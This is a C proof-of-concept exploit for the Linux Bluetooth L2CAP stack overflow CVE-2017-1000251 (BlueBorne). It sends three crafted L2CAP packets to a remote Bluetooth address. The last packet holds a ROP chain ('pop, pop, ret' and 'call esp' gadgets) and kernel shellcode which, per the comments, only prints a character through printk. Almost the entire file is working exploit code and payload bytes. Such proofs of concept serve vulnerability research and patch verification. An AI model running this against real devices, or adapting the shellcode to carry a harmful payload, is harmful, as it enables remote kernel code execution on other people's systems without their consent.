blueborne.c

/*
Bluetooth Stack Overflow (CVE-2017-1000251)
32 bit
Disable Stack Protector
Author: Marcin Kozlowski <marcinguy@gmail.com>
Kernel Shellcode:
push 0x00433601
push esp
mov ecx,esp
mov eax,0xc1107803
call eax
mov ebx, 0x4
mov eax, 0xc109ec30
call eax
Prints character C in syslog/dmesg via print_k()
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/l2cap.h>

// Functions
void usage(void);

// MAIN PART
int main(int argc, char *argv[])
{

	l2cap_cmd_hdr *cmd;
	struct sockaddr_l2 laddr, raddr;
	struct hci_dev_info di;
	char *buf, *remote_address = NULL;
	char payload[] ="\x40\x00\x00\x00\x06\x10\x01\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
	char payload2[]="\x01\x00\x40\x00";
	char payload3[212] = {
		0x40, 0x00, 0x00,
		0x00, 0x04, 0x00, 

		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07, 
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07, 
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07, 
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x07,



		0x01, 0x02, 0xd0, 0x07,
		0x01, 0x02, 0xd0, 0x01,
		0x01, 0x02, 0xd0, 0x02,
		0x01, 0x02, 0xd0, 0x03,
		0x01, 0x02, 0xd0, 0x04,
		0x01, 0x02, 0x26, 0xc1, //pop, pop, ret Gadget 0xc1260201


		0x06, 0x10, 0x01, 0x00,

		0xff, 0xff, 0xff, 0xff,
		0x6e, 0xb4, 0x97, 0xc1, //call esp Gadget 0xc197b46e
		0x90, 0x90, 0x90, 0x90,
		0xeb, 0x06,


		0x06, 0x10, 0x01, 0x00,

		0xeb, 0x44, 0xb8, 0x04,
		0x00, 0x00, 0x00, 0xbb,
		0x01, 0x00, 0x00, 0x00,
		0xeb, 0x04,

		0x06, 0x10, 0x01, 0x00,

		0x89, 0xe5, 0x68, 0x01,
		0x36, 0x43, 0x00, 0x54, //push C on Stack 
		0x89, 0xe1, 0x90, 0x90,
		0xeb, 0x04,

		0x06, 0x10, 0x01, 0x00,

		0xb8, 0x03, 0x78, 0x10, //print_k 0xc1107803 
		0xc1, 0xff, 0xd0, 0xbb,
		0x04, 0x00, 0x00, 0x00,
		0xeb, 0x04,

		0x06, 0x10, 0x01, 0x00,

		0xb8, 0x30, 0xec, 0x09, //0xc109ec30 msleep_interruptible()
		0xc1, 0xff, 0xd0, 0x90,
		0x90, 0x90, 0x90, 0x90,
		0xeb, 0x04,

		0x06, 0x10, 0x01, 0x00,

		0xe8, 0xd4, 0xff, 0xff,
		0xff, 0x48, 0x65, 0x6c,
		0x6c, 0x6f, 0x2c, 0x20,
		0xeb, 0x04,

		0x06, 0x10, 0x01, 0x00,

		0x57, 0x67, 0x72, 0x6c,
		0x64, 0x21, 0x00, 0x90,
		0x09, 0x09, 0x90, 0x90,
		0x90, 0x90,




	};



	int sock, c, i;
	int l2_code;
	int l2_ident;
	int l2_hsize;

	while ((c = getopt (argc, argv, "a:")) != -1)
	{
		switch (c)
		{
			case 'a':
				remote_address = optarg;
				break;

			default:
				usage();
				break;
		}
	}

	if(remote_address == NULL)
	{
		printf(">>> I need at least a remote btaddr...\n\n");
		usage();
		exit(EXIT_FAILURE);
	}


	// Get local device info
	if(hci_devinfo(0, &di) < 0)
	{
		perror("HCI device info failed");
		exit(EXIT_FAILURE);
	}

	printf("Local device %s\n", batostr(&di.bdaddr));
	printf("Remote device %s\n", remote_address);

	/* Construct local addr */
	laddr.l2_family = AF_BLUETOOTH;
	laddr.l2_bdaddr = di.bdaddr;
	laddr.l2_psm = htobs(0x1001);
	laddr.l2_cid = htobs(0x0040);

	/* Construct remote addr */
	memset(&raddr, 0, sizeof(raddr));        
	raddr.l2_family = AF_BLUETOOTH;
	str2ba(remote_address, &raddr.l2_bdaddr);

	/* Create a Bluetooth raw socket */	
	if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
		perror("socket");
		exit(EXIT_FAILURE);
	}

	/* ...and bind it to the local device */
	bind(sock, (struct sockaddr *) &laddr, sizeof(laddr));
	/* Let's try to connect */
	if (connect(sock, (struct sockaddr *) &raddr, sizeof(raddr)) < 0) {
		perror("connect");
		exit(EXIT_FAILURE);
	}


	/* Init packet buffer */
	if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE )) ) {
		perror("malloc");
		exit(EXIT_FAILURE);
	}

	/* Set L2CAP header properties */
	cmd = (l2cap_cmd_hdr *) buf;
	cmd->code = 0x02;
	cmd->ident = 0x03;
	cmd->len = htobs(4);

	/* Copy payload after l2cap header */
	memcpy((buf + L2CAP_CMD_HDR_SIZE), payload2, 4);

	/* Throw the packet into the air */

	if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 4, 0) <= 0)
	{
		perror("send");
	}



	printf("L2CAP packet was sent\n");
	sleep(1);

	/* Init packet buffer */
	if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE + 22)) ) {
		perror("malloc");
		exit(EXIT_FAILURE);
	}


	/* Set L2CAP header properties */
	cmd = (l2cap_cmd_hdr *) buf;
	cmd->code = 0x04;
	cmd->ident = 0x01;
	cmd->len = htobs(22);

	/* Copy payload after l2cap header */
	memcpy((buf + L2CAP_CMD_HDR_SIZE), payload, 22);

	/* Throw the packet into the air */

	if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 22, 0) <= 0)
	{
		perror("send");
	}

	printf("L2CAP packet 2 was sent\n");

	sleep(1);

	/* Init packet buffer */
	if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE + 212)) ) {
		perror("malloc");
		exit(EXIT_FAILURE);
	}


	/* Set L2CAP header properties */
	cmd = (l2cap_cmd_hdr *) buf;
	cmd->code = 0x05;
	cmd->ident = 0x01;
	cmd->len = htobs(212);

	/* Copy payload after l2cap header */
	memcpy((buf + L2CAP_CMD_HDR_SIZE), payload3,212);

	/* Throw the packet into the air */

	if(send(sock, buf, L2CAP_CMD_HDR_SIZE +212, 0) <= 0)
	{
		perror("send");
	}

	printf("L2CAP packet 3 was sent\n");


	/* Disconnect */
	close(sock);

	return EXIT_SUCCESS;
}

// Print usage
void usage(void)
{
	printf("blueborne -a <bdaddr>\n");
	exit(EXIT_SUCCESS);
}